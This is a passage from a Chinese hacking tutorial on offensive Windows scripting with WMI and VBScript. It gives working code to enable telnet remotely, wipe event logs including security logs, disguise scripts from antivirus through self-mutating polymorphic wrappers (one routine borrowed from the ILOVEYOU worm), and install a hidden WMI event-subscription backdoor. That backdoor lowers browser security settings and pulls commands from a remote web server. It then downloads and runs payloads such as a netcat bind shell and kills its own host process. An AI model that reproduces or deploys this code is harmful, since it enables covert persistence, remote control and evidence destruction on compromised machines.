set olct=createobject("wbemscripting.swbemlocator")
set oreg=olct.connectserver(ip,"root\default",user,pass).get("stdregprov")
HKLM=&h80000002
out=oreg.setdwordvalue(HKLM,"SOFTWARE\Microsoft\TelnetServer.0","NTLM",ntlm)
out=oreg.setdwordvalue(HKLM,"SOFTWARE\Microsoft\TelnetServer.0","TelnetPort",port)

现在是不是简单多了？
接着是对telnet服务状态的控制。
Codz:
set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")

这次连接的是root\cimv2名字空间。然后采用wql(sql for WMI)搜索tlntsvr服务。熟悉sql语法的一看就知道是在做什么了。这样得到的是一组Win32_Service实例，虽然where语句决定了该组总是只有一个成员。
为简单起见，假设只要切换服务状态。
Codz:
for each objinstance in colinstances
if objinstance.started=true then '根据started属性判断服务是否已经启动'
intstatus=objinstance.stopservice() '是，调用stopservice停止服务'
else
intstatus=objinstance.startservice() '否，调用startservice启动服务'
end if
next
关键的代码就是这些了，其余都是处理输入输出和容错的代码。
总结一下过程：
1，连接服务器和合适的名字空间。
2，用get或execquery方法获得所需对象的一个或一组实例。
3，读写对象的属性，调用对象的方法。
那么，如何知道要连接哪个名字空间，获得哪些对象呢？《WMI技术指南》[3]中分类列出了大量常用的对象。可惜它没有相应的电子书，你只有到书店里找它了。你也可以用WMITools里WMI CIM Studio这个工具的搜索功能，很容易就能找想要的对象。找到对象后，WMI CIM Studio能列出其属性和方法，然后到MSDN里找具体的帮助。而应用举例，除了我写的7个RS系列脚本，还有参考资料[4]。
需要特别说明的是，在参考资料[4]中，连接服务器和名字空间用的是类似如下的语法：
Codz:
Set objWMIService=GetObject("winmgmts:!\"&strComputer&"\root\cimv2:Win32_Process")
详细的语法在《WMI技术指南》和MSDN中有介绍，但我们不关心它，因为这种办法没有用户名和密码参数。 因此，只有在当前用户在目标系统（含本地）有登陆权限的情况下才能使用。而connectserver如果要本地使用，第一个参数可以是127.0.0.1或者一个点"."，第3、4个参数都是空字符串""。
最后，访问WMI还有一个“特权”的问题。如果你看过ROTS的代码，你会发现有两句“奇怪”的语句：
Codz:
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true
这是在向WMI服务申请权限。18和23都是权限代号。下面列出一些重要的代号：
5 在域中创建帐户
7 管理审计并查看、保存和清理安全日志
9 加载和卸载设备驱动
10 记录系统时间
11 改变系统时间
18 在本地关机
22 绕过历遍检查
23 允许远程关机
详细信息还是请看《WMI技术指南》或MSDN。
所有特权默认是没有的。我在写RCAS时，因为忘了申请特权11，结果一直测试失败，很久才找到原因。
只要有权限连接WMI服务，总能成功申请到需要的特权。这种特权机制，只是为了约束应用程序的行为，加强系统稳定性。有点奇怪的是，访问注册表却不用申请任何特权。真不知道微软的开发人员是怎么想的，可能是访问注册表太普遍了。

【脚本也有GUI】
虽然系统提供了WScript和CScript两个脚本宿主，分别负责窗口环境和命令行环境下的脚本运行，但实际上窗口环境下用户与脚本交互不太方便：参数输入只能建立快捷方式或弹出InputBox对话框，输出信息后只有在用户“确定”后才能继续运行。完全没有了窗口环境直观、快捷的优势。好在有前面提到的InternetExplorer对象，脚本可以提供web风格的GUI。
还是来看个例子，一个清除系统日志的脚本，顺便复习一下WMI：
Codz:
set ie=wscript.createobject("internetexplorer.application","event_") '创建ie对象'
ie.menubar=0 '取消菜单栏'
ie.addressbar=0 '取消地址栏'
ie.toolbar=0 '取消工具栏'
ie.statusbar=0 '取消状态栏'
ie.width=400 '宽400'
ie.height=400 '高400'
ie.resizable=0 '不允许用户改变窗口大小'
ie.navigate "about"&":blank" '打开空白页面'
ie.left=fix((ie.document.parentwindow.screen.availwidth-ie.width)/2) '水平居中'
ie.top=fix((ie.document.parentwindow.screen.availheight-ie.height)/2) '垂直居中'
ie.visible=1 '窗口可见'
with ie.document '以下调用document.write方法，'
.write "<html><body bgcolor=#dddddd scroll=no>" '写一段html到ie窗口中。'
.write "<h2 align=center>远程清除系统日志</h2><br>"
.write "<p>目标IP：<input id=ip type=text size=15>" '也可以用navigate方法直接打开一'
.write "<p>用户名：<input id=user type=text size=30>" '个html文件，效果是一样的。'
.write "<p>密码：　<input id=pass type=password size=30>"
.write "<p align=center>类型：" '不仅是input对象，所有DHTML支持'
.write "<input id=app type=checkbox>应用程序 " '的对象及其属性、方法都可以使用。'
.write "<input id=sys type=checkbox>系统 "
.write "<input id=sec type=checkbox>安全" '访问这些对象的办法和网页中访问'
.write "<p align=center><br>" '框架内对象是类似的。'
.write "<input id=confirm type=button value=确定> "
.write "<input id=cancel type=button value=取消>"
.write "</body></html>"
end with
dim wmi '显式定义一个全局变量'
set wnd=ie.document.parentwindow '设置wnd为窗口对象'
set id=ie.document.all '设置id为document中全部对象的集合'
id.confirm.onclick=getref("confirm") '设置点击"确定"按钮时的处理函数'
id.cancel.onclick=getref("cancel") '设置点击"取消"按钮时的处理函数'
do while true '由于ie对象支持事件，所以相应的，'
wscript.sleep 200 '脚本以无限循环来等待各种事件。'
loop
sub event_onquit 'ie退出事件处理过程'
wscript.quit '当ie退出时，脚本也退出'
end sub
sub cancel '"取消"事件处理过程'
ie.quit '调用ie的quit方法，关闭IE窗口'
end sub '随后会触发event_onquit，于是脚本也退出了'
sub confirm '"确定"事件处理过程，这是关键'
with id
if .ip.value="" then .ip.value="." '空ip值则默认是对本地操作'
if not (.app.checked or .sys.checked or .sec.checked) then 'app等都是checkbox，通过检测其checked'
wnd.alert("至少选择一种日志") '属性，来判断是否被选中。'
exit sub
end if
set lct=createobject("wbemscripting.swbemlocator") '创建服务器定位对象'
on error resume next '使脚本宿主忽略非致命错误'
set wmi=lct.connectserver(.ip.value,"root/cimv2",.user.value,.pass.value) '连接到root/cimv2名字空间'
if err.number then '自己捕捉错误并处理'
wnd.alert("连接WMI服务器失败") '这里只是简单的显示“失败”'
err.clear
on error goto 0 '仍然让脚本宿主处理全部错误'
exit sub
end if
if .app.checked then clearlog "application" '清除每种选中的日志'
if .sys.checked then clearlog "system"
if .sec.checked then clearlog "security" '注意，在XP下有限制，不能清除安全日志'
wnd.alert("日志已清除")
end with
end sub
sub clearlog(name)
wql="select * from Win32_NTEventLogFile where logfilename='"&name&"'"
set logs=wmi.execquery(wql) '注意，logs的成员不是每条日志，'
for each l in logs '而是指定日志的文件对象。'
if l.cleareventlog() then
wnd.alert("清除日志"&name&"时出错！")
ie.quit
wscript.quit
end if
next
end sub
总结一下整个过程。首先是创建internetexplorer.application对象。其直接的效果是启动了一个iexplorer进程，但窗口是不可见的，直到设置了ie.visible=1。然后用document.write方法将html语句写到ie窗口中。对于复杂的界面，可以将html代码保存为一个html文件，用ie.navigate(filename)打开。最后是响应窗口中的输入。这基本上属于DHTML的知识范畴。
与一般脚本编程最大的不同之处，在于ie是事件驱动的。你所要做的，就是设置好相应的事件处理函数/过程。
在本例中，脚本只关心3个事件：ie退出，"确定"按钮被点击，"取消"按钮被点击。
注意，例子中只有两句设置事件处理过程的语句，没有定义ie退出事件与event_onquit过程关联。这是因为这里用到一个特性——创建ie对象时的第二个参数"event_"是一个前缀，ie对象的事件处理过程名是该前缀加事件名。所以onquit事件的处理过程默认就是event_onquit。
当点击"确定"按钮后，confirm过程被调用。例子中演示了如何访问ie中的对象，比如ie.document.all.ip.value就是在"目标IP"文本框中的输入。如果选中"应用程序"这个checkbox，那么ie.document.all.app.checked的值是true，否则是false。想调用alert方法，则用ie.document.parentwindow.alert。其他各种ie内对象的访问方法完全是类似的。具体的可以看DHTML相关资料。
有了web界面，交互就变得丰富多彩了。大家可以充分发挥创意。
比如，很多GUI工具(比如流光)启动时，有一个logo页，显示版权等信息。我们用ie对象也可以模拟一个出来：
Codz:
set ie=wscript.createobject("internetexplorer.application")
ie.fullscreen=1
ie.width=300
ie.height=150
ie.navigate "about"&":blank"
ie.left=fix((ie.document.parentwindow.screen.availwidth-ie.width)/2)
ie.top=fix((ie.document.parentwindow.screen.availheight-ie.height)/2)
ie.document.write "<body bgcolor =skyblue scroll=no><br><br>"&_
"<h2 align=center>这是一个Logo</h2></body>"
ie.visible=1
wscript.sleep 5000
ie.quit
上面这段代码执行后，将在屏幕中央显示一个连标题栏和边框都没有的ie窗口，持续5秒。
窗口里是蓝底黑字的“这是一个Logo”。
脚本GUI化之后，与用户的交互更直观。像Nmap那样有很多参数的工具，在本地使用时，写一个图形界面的“接口”就一劳永逸了。输出的结果也可以用脚本处理，以更适合阅读的方式显示，就像流光等工具能生成html扫描报告那样。

【反查杀】
首先必须说明的是，我完全没有试图挑战杀毒软件杀毒能力的意思。Windows脚本是一种解释性语言，明文保存代码。由于没有经过编译过程，代码的复杂程度远不如可执行程序(exe)。exe做不到的事，没理由指望脚本能做到。不过，正因为脚本的反查杀能力很差，以至于杀毒软件使用的查杀办法也不高级。于是我们就有机可乘了。
先看看常见的反查杀办法：
1，字符串或语句的分割/重组。
最典型的例子就是将 fso=createobject("scripting.filesystemobject")
变成 fso=createobject("script"+"ing.filesyste"+"mobject")
这种办法的扩展是用execute语句：
execute("fso=crea"+"teobject(""scr"+"ipting.filesy"+"stemobject"")")
2，变量名自动改变。
Codz:
Randomize
Set Of = CreateObject("Scripting.FileSystemObject")
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall
fS = Array("Of", "vC", "fS", "fSC")
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)))
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC
上面这段代码取自爱虫病毒，大家运行一下，就知道是怎么回事了。
3，用官方工具——脚本编码器screnc.exe[5]加密脚本。
加密后的脚本能被脚本宿主直接解释。本来这是最好的解决办法，但“枪打出头鸟”，由于加密是可逆的，现在所有的杀毒软件都有解码功能。因此这个办法的效果基本上为零。
第一个办法的有效告诉我们这样一个事实：对脚本病毒的查杀基本上是属于静态的。而且，我发现即使只是改变大小写，也能起到反查效果(只试了一种杀毒软件)。反查杀的关键是减少特征码。
对于exe的反查杀，最容易想到的就是“加壳”。在脚本上也可以应用这个办法。比如：
Codz:
str="cswpire.tohcO"" ""!K"
for i=1 to len(str) step 3
rev=rev+strreverse(mid(str,i,3))
next
execute rev
一个最简单的“壳”。“壳”的算法是每n个字符反转顺序一次。n就是算法的“种子”，本例中它等于3。
这个“壳”是死的，起不到减少特征码的效果。反而增加了特征码，如"cswpire"。
下面看一个复杂些的例子：
Codz:
str="wscript.echo
        ""OK!"":randomize:key=int(rnd*8+2):str=rev:str=replace(str,chr(34),chr(34)+chr(34)):set
        aso=createobject(""ADODB.Stream""):with aso:.open:.writetext
        ""str=""+chr(34)+str+chr(34)+"":key=""+cstr(key)+"":str=rev:execute
        str:function rev():for i=1 to len(str) step
        key:rev=rev+strreverse(mid(str,i,key)):next:end function"":.savetofile
        wscript.scriptfullname,2:end with":key=1:str=rev:execute str:function
        rev():for i=1 to len(str) step
        key:rev=rev+strreverse(mid(str,i,key)):next:end function

（注意，该代码只有一行，没有回车）
保存成vbs文件，双击执行，效果还是和前一段代码一样，弹出一个对话框显示"OK!"。
但是，执行完后再看代码，可能变成了这样：
Codz:
str="tpircsw"" ohce.ar:""!KOezimodnni=yek:8*dnr(trts:)2+ts:ver=alper=r,rts(ec)43(rhc43(rhc,3(rhc+)tes:))4rc=osa jboetaeDA""(tcertS.BDOw:)""maeosa hti:nepo.:tetirw.ts"" txerhc+""=rts+)43(3(rhc+rek:""+)4tsc+""=y+)yek(rr=rts:""cexe:verts etuitcnuf:(ver noi rof:)l ot 1=)rts(nek pets =ver:yerts+veresreverts(dim(yek,i,rtxen:))uf dne:""noitcntevas.:w elifo.tpircsftpircsemanllu dne:2,htiw":key=7:str=rev:execute str:function rev():for i=1 to len(str) step key:rev=rev+strreverse(mid(str,i,key)):next:end function
再执行，又变成其他样子了。这个脚本是自变形的。
如果仔细看代码就会发现，“壳”的算法依旧，而“种子”随机改变。但是，加壳过的内容每次不同了，“壳”本身还是没有任何改变。很多exe加壳工具加的壳，本身就被当作恶意代码来提取特征码。为了更好的反查杀，脚本的“壳”也需要动态改变。这就要用到所谓的多态技术。不过，exe的多态是用来反动态查杀的，而脚本的“多态”只是应付静态查杀，两者有很大不同。
对于exe，真正的多态目前还未听说被实现的。脚本也只能做多少算多少。
不影响功能的变形方法，除了上面提到的3种，还有：
1，随机改变大小写；
2，冒号(:)与回车符随机互换（字符串内和"then"之后的冒号除外）；
3，字符串分割时，"+"与"&"随机互换；
4，()+-*/&,等字符两边任意添加空格或续行符(_)和回车符的组合；
5，用自定义函数替换内置函数；即使自定义的函数只是简单的封装内置函数，但至少改变了关键字的位置。
…………
还有其他“多态”算法有待你的研究。
这些算法的应用，是以大幅增加代码长度为前提的。如果想写一个比较完美的“壳”，相信会涉及到“文法分析”的知识，因为脚本要“读懂”自己，从而达到类似Java混淆器的效果，这就很复杂了，有机会再和大家探讨。下面我们应用“语句分割”、“变量名自动改变”、“随机大小写”、“+和&互换”四种方法，看一下效果如何：
Codz:
A001="wscript.echo
        ""OK!"":A004=chr(34):randomize:A005=int(rnd*24000+40960):A001=A006(A001):A000=A005
        mod 10+2:A001=replace(A002,A004,A004&A004):set
        A007=createobject(""ADODB.Stream""):A007.open:A007.writetext
        hex(A005+1)&""=""&A004&A001&A004&A008("":execute
        ""&A004&A006(""A000=""&A000&"":A001=A002:execute
        A001:function A002():for A003=1 to len(A001) step
        A000:A002=A002+strreverse(mid(A001,A003,A000)):next:end
        function"")&A004):A007.savetofile wscript.scriptfullname,2:function
        A006(A009):for A00A=0 to
        12:A009=replace(A009,hex(&HA000+A00A),hex(A005+A00A)):next:A006=A009:end
        function:function A008(A009):for A00A=1 to
        len(A009):A00B=mid(A009,A00A,1):if int(rnd*2-1) then
        A00B=ucase(A00B):end if:if A00A>11 and int(rnd*5)=0 then
        A008=A008&A004&chr(38+int(rnd*2)*5)&A004:end
        if:A008=A008&A00B:next:end function":A000=1:A001=A002:execute
        A001:function A002():for A003=1 to len(A001) step
        A000:A002=A002+strreverse(mid(A001,A003,A000)):next:end function

（注意，其中没有回车符）
上面是“原版”的，保存为vbs文件双击运行，还是弹出对话框显示"OK!"。再看代码变形成什么样了(效果是随机的)：
Codz:
B906="tpircsw"" ohce.9B:""!KO(rhc=90nar:)43:ezimodni=A09B2*dnr(t04+00049B:)069B09B=60:)609B(9B=509B dom A09B:2+01lper=6009B(eca,909B,79B&909Btes:)90c=C09B boetaerA""(tcejtS.BDOD:)""maerpo.C09BC09B:netetirw.xeh txe1+A09B(B&""=""&)09B&909&909B&6:""(D09Betucexe909B&"" ""(B09B&&""=509B:""&509B9B=609Bcexe:709B etucnuf:609B noitof:)(70=809B rel ot 1)609B(nB pets 09B:509+709B=7everrtsdim(esrB,609B(09B,809xen:))5f dne:tnoitcnu909B&)"".C09B:)fotevascsw elics.tpirluftpir2,emanlitcnuf:B09B no:)E09B(09B rof ot 0=FE09B:21calper=,E09B(eBH&(xeh09B+509(xeh,)F9B+A09Ben:))F0B09B:txe:E09B=cnuf dnuf:noit noitcn9B(D09Brof:)E01=F09B nel ot :)E09B(im=019B,E09B(d)1,F09Btni fi:-2*dnr(neht )1u=019B 9B(esacdne:)01 fi:fi 11>F09Bni dna 5*dnr(teht 0=)=D09B n9B&D09B(rhc&90(tni+83*)2*dnr909B&)5fi dne:B=D09B:19B&D09:txen:0nuf dnenoitc":EXecUTe "B9"&"05=7"&":B906"&"=B907:E"+"XEc"+"utE B906"+":FuN"&"ctIoN B9"&"07():fOr"+" B9"+"08=1 tO l"&"En(B906)"+" step B905:B907"&"=B907+"&"sTRreVErSe(MId("&"B9"&"0"&"6,B908,B905"&")"+"):N"+"eX"+"t"+":eNd fUN"&"CtiOn"
眼花了没？再来一次：
Codz:
F0CB="rcsw.tpiohceKO"" F:""!=EC0(rhc:)43dnarzimo0F:ei=FCr(tn2*dn0004904+:)06BC0FD0F=0F(0:)BCAC0FC0F=om F01 dF:2+=BC0lper(ecaCC0FC0F,0F,EF&EC)EC0tes:D0F rc=1etaeejbo""(tcDODAtS.BmaerF:)"".1D0nepoD0F:rw.1teti txe(xehFC0F&)1+&""=""EC0FC0F&0F&BF&EC(2D0xe:""tuce&"" eEC0FD0F&F""(0=AC00F&""""&ACC0F:0F=Be:CCucex etBC0Fnuf:oitc0F n)(CCrof:C0F 1=Dl otF(ne)BC0ets 0F pF:AC=CC0CC0Frts+ever(esr(dimBC0FC0F,0F,D))ACxen:ne:tuf ditcn)""noC0F&F:)E.1D0evasifotw elircss.tppircluftmanl:2,ecnufnoitD0F 0F(0:)3D rof4D0Ft 0=21 oD0F:er=3calp0F(eh,3D&(xeC0FH0F+A,)4D(xehFC0FD0F+:))4txenD0F:0F=0e:3Df dntcnu:noicnufnoitD0F 0F(2:)3D rof4D0Ft 1=el o0F(n:)3D5D0Fdim=D0F(0F,31,4Dfi:)tni dnr(1-2*ht )F ne=5D0sacu0F(e:)5D dnei:fi0F f1>4Dna 1ni dnr(t)5*dt 0= neh2D0FD0F=0F&2c&EC3(rhni+8nr(t)2*d&)5*EC0Fdne::fi 2D0FD0F=0F&2n:5D:txe dnecnufnoit":eXecUtE "F"+"0CA"&"=4:F0CB"+"="+"F0CC:eX"+"e"+"cUte F0CB"&":F"+"UNC"+"tIOn F0CC():F"+"or"+" F0"&"CD=1 tO LEN(F0CB) sTEp F0CA:F0CC=F0CC+strR"+"Ever"+"SE"&"(mID("+"F0CB,"+"F0CD,F0CA)):nEXT:eNd FU"&"nCTIo"&"N"
这样够了吗？——不知道。也许杀毒引擎本来就是忽略大小写的，本来就能自动连接字符串，本来就能“文法分析”……
这个“壳”有实用性吗？——没有。因为“壳”的算法太简单。“种子”A000 = A005 mod 10 + 2，所以如果不考虑自动改变的变量名，加壳后的代码只有10种样子。
如何改进这个“壳”？——当然是用更复杂的算法，更多的“多态”。
如果你有兴趣，可以先看那个“原版”的脚本代码（把冒号都替换为回车，可读性就比较好了），然后自己加强它。
当然，你也可以另起炉灶，自由展现你的创意。

【来做个后门】
在讨论脚本后门前，先要介绍一类很有用的WMI对象。事实上，这才是本节的关键。脚本后门不过是它的一个应用而已。
前面已经说过，WMI是事件驱动的。整个事件处理机制分为四个部分：
1，事件生产者(provider)：负责产生事件。WMI包含大量的事件生产者。有性能计数器之类的具体的事件生产者，也有类、实例的创建、修改、删除等通用的事件生产者。
2，事件过滤器(filter)：系统每时每刻都在产生大量的事件，通过自定义过滤器，脚本可以捕获感兴趣的事件进行处理。
3，事件消费者(consumer)：负责处理事件。它可以是可执行程序、动态链接库(dll，由WMI服务加载)或者脚本。
4，事件绑定(binding)：通过将过滤器和消费者绑定，明确什么事件由什么消费者负责处理。
事件消费者可以分为临时的和永久的两类。临时的事件消费者只在其运行期间关心特定事件并处理。永久消费者作为类的实例注册在WMI名字空间中，一直有效直到它被注销。显然，永久事件消费者更具实用性。还是来看个例子：
Codz:
nslink="winmgmts:\.\root\cimv2:" '只需要本地连接，所以用这种语法，不用swbemlocator对象'
set asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_ '创建“活动脚本事件消费者”'
asec.name="stopped_spooler_restart_consumer" '定义消费者的名字'
asec.scriptingengine="vbscript" '定义脚本语言(只能是vbscript)'
asec.scripttext="getobject(""winmgmts:win32_service='spooler'"").startservice" '脚本代码'
set asecpath=asec.put_ '注册消费者，返回其链接'
set evtflt=getobject(nslink&"__EventFilter").spawninstance_ '创建事件过滤器'
evtflt.name="stopped_spooler_filter" '定义过滤器的名字'
qstr="select * from __instancemodificationevent within 5 " '每5秒查询一次“实例修改事件”'
qstr=qstr&"where targetinstance isa ""win32_service"" and " '目标实例的类是win32_service'
qstr=qstr&"targetinstance.name=""spooler"" " '实例名是spooler'
qstr=qstr&"and targetinstance.state=""stopped""" '实例的state属性是stopped'
evtflt.query=qstr '定义查询语句'
evtflt.querylanguage="wql" '定义查询语言(只能是wql)'
set fltpath=evtflt.put_ '注册过滤器，返回其链接'
set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_ '创建过滤器和消费者的绑定'
fcbnd.consumer=asecpath.path '指定消费者'
fcbnd.filter=fltpath.path '指定过滤器'
fcbnd.put_ '执行绑定'
wscript.echo "安装完成"
这个脚本的效果是：当“后台打印”服务(spooler)状态改变为停止时，消费者将进行处理——重启spooler。
先net start spooler，然后net stop spooler。最多5秒钟，spooler又会启动。
直接运行上面的脚本会出错，因为“活动脚本事件消费者”(ActiveScriptEventConsumer ASEC)默认没有被安装到root\cimv2名字空间。
用记事本打开%windir%\system32\wbem\scrcons.mof，将第一行“#pragma namespace ("\\.\Root\Default")”删除，或者修改为“#pragma namespace ("\\.\Root\cimv2")”。XP/2003没有这一行，不用修改。
然后执行下面这个命令：
C:\WINNT\system32\wbem>mofcomp.exe -N:root\cimv2 scrcons.mof
Microsoft (R) 32-bit MOF 汇编器版本 1.50.1085.0007
版权所有 (c) Microsoft Corp. 1997-1999。保留所有权利。
正在分析 MOF 文件: scrcons.mof
MOF 文件分析成功
将数据储存到储备库中...
已完成!
这样就把ASEC安装到root\cimv2了。mofcomp.exe和scrcons.mof都是系统自带的。
2000默认将ASEC安装到root\default名字空间，而XP/2003默认已经安装到root\subscription名字空间，但由于事件过滤器不能跨名字空间捕捉事件（XP/2003可以），事件绑定也不能跨名字空间，而大部分事件都在root\cimv2产生，所以需要重新安装ASEC到事件源所在的名字空间。下面这个脚本自动完成ASEC重安装任务。
Codz:
set shl=createobject("WScript.Shell")
set fso=createobject("Scripting.FileSystemObject")
path=shl.expandenvironmentstrings("%windir%\system32\wbem")
set mof=fso.opentextfile(path&"\scrcons.mof",1,false,-1) 'mof都是Unicode格式的'
mofs=mof.readall
mof.close
mofs=replace(mofs,"\Default","\cimv2",1,1) '替换默认的名字空间'
mofp=path&"\asecimv2.mof"
set mof=fso.createtextfile(mofp,false,true) '创建临时mof文件'
mof.write mofs
mof.close
shl.run path&"\mofcomp.exe -N:root\cimv2 "&mofp,0,true '安装到root\cimv2'
fso.deletefile(mofp)
wscript.echo "安装完成"
注销永久事件：
Codz:
nslink="winmgmts:\.\root\cimv2:"
myconsumer="stopped_spooler_restart_consumer" '指定消费者的名字'
myfilter="stopped_spooler_filter" '指定过滤器的名字'
set binds=getobject(nslink&"__FilterToConsumerBinding").instances_
for each bind in binds
if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _
and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then
getobject("winmgmts:"&bind.consumer).delete_ '删除消费者'
getobject("winmgmts:"&bind.filter).delete_ '删除过滤器'
bind.delete_ '删除绑定'
exit for
end if
next
wscript.echo "卸载完成"
除了ASEC，WMI还提供其他永久事件消费者，比如SMTPEventConsumer。当系统出现异常时，可以通过它自动给管理员的信箱发信。WMITools里的WMI Event Registration用于创建、修改、删除指定名字空间里的永久事件消费者、事件过滤器和计时器事件源的实例，以及绑定或解除绑定它们。
关于事件处理机制的各个部分，在《WMI技术指南》里有详细的讲述，MSDN里当然更全面。我就点到为止了。
（看累了吧，喝口水，休息一下 ^_^）
下面开始讨论脚本后门。
WMI提供了两个计时器：__AbsoluteTimerInstruction和__IntervalTimerInstruction，分别在指定的时刻和时间间隔产生事件，注册一个过滤器来捕获计时器事件，再和ASEC绑定，我们就获得了一种少见的程序自启动的方法。而且，脚本代码完全隐藏在CIM存储库中，不以独立的文件存在，查杀比较困难。这是脚本后门的优势，但困难也不少：
1，脚本运行时，由系统自带的scrcons.exe作为脚本宿主（Windows的设计者还没有笨到用WMI服务作为脚本宿主）。这就会增加一个进程，虽然是系统正常的进程，杀毒软件拿它没辙，但还是太显眼了。所以，不能让脚本一直在后台运行，而是应该每隔一段时间启动一次，然后尽快结束。脚本结束后，scrcons.exe进程不会自动结束，必须让脚本借助WMI提供的Win32_Process对象主动终止宿主进程（煮豆燃豆萁？！）。
2，脚本的网络功能很差，基本上只能依靠Microsoft.XMLHTTP之类的对象。因此，脚本后门不能监听端口并提供cmd shell，只能反向连接到web服务器，获取控制命令。一个可行的办法是，在web服务器上放一个命令文件，脚本后门根据域名找到服务器并下载命令文件，再根据文件内容作出响应。所以，你需要一台web服务器，或者用netbox等工具建个临时服务器。当然，你不需要让服务器总是在线，需要控制脚本后门时再运行就可以了。
3，由于脚本后门间歇式运行，需要防止重复运行同一个命令。解决方法是在注册表里记录命令的长度，每次获取命令后将长度和记录做比较，如果相同则跳过，不同则覆盖并执行命令。
4，为了借助ie对象穿透防火墙，XMLHTTP对象必须在ie中被创建，这会受到Internet域安全级别的限制。即使将代码保存在html文件中再用ie打开，也不过是“我的电脑”域，创建不安全的ActiveX对象还是会弹出警告对话框。解决办法是修改注册表，临时更改安全设置。
5，WScript对象由wscript.exe或cscript.exe提供，而scrcons.exe没有提供，所以很多常用的功能，比如WScript.Sleep都不能用了。不能Sleep就无法异步使用XMLHTTP，而同步XMLHTTP可能被长时间阻塞，大大不利于后门的隐蔽。调用ping命令来延时会创建新进程，用WScript.Shell的Popup方法延时则有“咚”一声提示音。好在Microsoft.XMLHTTP的“亲戚”不少，比如Msxml2.XMLHTTP、Msxml2.ServerXMLHTTP、Msxml2.DOMDocument、WinHttp.WinHttpRequest等。最后那个可以设置超时时间，刚好满足需要。
即使有重重困难，脚本后门仍然值得挑战一下。当肉鸡上的各类木马纷纷被杀毒软件肃清后，一个24小时才运行一次的脚本后门可能是你最后的希望。
下面是一个简单的脚本后门的核心代码（没有安装功能）：
Codz:
cmdu="http://myweb.8866.org/cmd.txt" '从web服务器获取命令的url'
cmdw=4000 '下载超时时间4秒'
cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" '记录命令长度的键值名'
on error resume next '忽略非致命错误 '(调试时注释掉本行)
set shl=createobject("WScript.Shell") '虽然不能使用WScript根对象，其子对象还是可以用的'
set aso=createobject("ADODB.Stream")
set ie=createobject("InternetExplorer.Application") '使用ie绕过防火墙'
zone="HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones"
set1=zone&"01"
set2=zone&"00"
set3=zone&"\CurrentLevel"
val1=shl.regread(set1) '保存原来的安全设置'
val2=shl.regread(set2)
val3=shl.regread(set3)
regd="REG_DWORD"
shl.regwrite set1,0,regd '允许在Internet域运行不安全的ActiveX'
shl.regwrite set2,0,regd '允许活动脚本'
shl.regwrite set3,0,regd '设置当前Internet域安全级别为“自定义”'
ie.visible=0 ':ie.visible=1 '(调试用)
ie.navigate "about"&":blank" '这里使用字符串连接纯属反论坛过滤'
ie.document.write _
"<script>function whr(){return new ActiveXObject('WinHttp.WinHttpRequest.5.1')}</script>"
set whr=ie.document.script.whr() '在ie内创建WinHttpRequest对象'
whr.settimeouts cmdw,cmdw,cmdw,cmdw '设置域名解析、连接、发送和接收超时时间'
whr.open "GET",cmdu,true '获取命令文件'
whr.send
if not whr.waitforresponse(cmdw) then die
if whr.status>299 then die
rt=whr.responsetext ':wscript.echo rt '(调试用)
':shl.regwrite cmdl,0,regd '(调试用)
if len(rt)=shl.regread(cmdl) then die '与前一个命令的长度比较'
shl.regwrite cmdl,len(rt),regd '更新命令长度'
cmds=split(rt,vbcrlf,-1)
if ubound(cmds)<1 then die
cmdt=lcase(trim(cmds(0))) ':wscript.echo cmdt '(调试用)
aso.type=1
aso.open
cd=shl.currentdirectory&chr(92)
select case cmdt '分析命令文件类型'
case "'vbs" '是vbs'
execute(rt) '直接在当前脚本上下文中执行'
die
case ":bat" '是批处理'
aso.write whr.responsebody
aso.savetofile cd&"_.bat",2 '保存在当前目录'
aso.close
shl.run chr(34)&cd&"_.bat""",0 '运行批处理'
die
case "'wsh" '是Windows脚本'
aso.write whr.responsebody
aso.savetofile cd&"_.vbs",2 '保存在当前目录'
aso.close
shl.run "cscript.exe """&cd&"_.vbs""",0 '使用cscript作为脚本宿主'
die
case "exe" 'exe需进一步分析'
case else die
end select
if ubound(cmds)<4 then die ':wscript.echo cmds(1) '(调试用)
whr.open "GET",cmds(1),true '从指定位置下载exe文件'
whr.send
if not whr.waitforresponse(cmds(2)) then die
if whr.status>299 then die
path=shl.expandenvironmentstrings(cmds(3))'展开保存路径中的环境变量'
aso.write whr.responsebody ':wscript.echo path '(调试用)
aso.savetofile path,2 '保存exe文件'
aso.close
shl.run chr(34)&path&""" "&cmds(4),0 '执行exe'
die
sub die
ie.quit
shl.regwrite set1,val1,regd '还原Internet域安全设置'
shl.regwrite set2,val2,regd
shl.regwrite set3,val3,regd
for each ps in getobject("winmgmts:\.\root\cimv2:win32_process").instances_
if lcase(ps.name)="scrcons.exe" then ps.terminate '自杀'
next
'wscript.echo "die": wscript.quit '(调试用)
end sub

取消调试语句的注释，上面这段核心代码就可以直接运行。
它将试图从myweb.8866.org上获取cmd.txt，根据里面的内容进一步行动。
cmd.txt看起来像这样：
Codz:
exe //被执行的文件类型，可以是'vbs、:bat、exe或wsh
http://myweb.8866.org/nc.exe //被执行的文件的下载url
4000 //下载超时时间，单位毫秒
%windir%\system32\nc.exe //文件的保存位置，支持环境变量
-L -p 1234 -e cmd.exe //命令行参数

收到上面这个命令后，脚本将从指定url下载nc.exe，保存到系统目录并运行。
如果第一行的文件类型为'vbs、'wsh或:bat，则把命令文件本身当作脚本或批处理来执行。比如：
Codz:
:bat
net start telnet :启动telnet服务
del %0 :自删除

如果只是想让某台主机执行命令，可以这样：
Codz:
:bat
ipconfig | find "123.45.67.89" && net start telnet
del %0

这样就只有ip地址为123.45.67.89的主机才会启动telnet。
'wsh和'vbs的区别是，前者保存为文件由cscript.exe调用，后者直接在脚本后门“内部”执行。
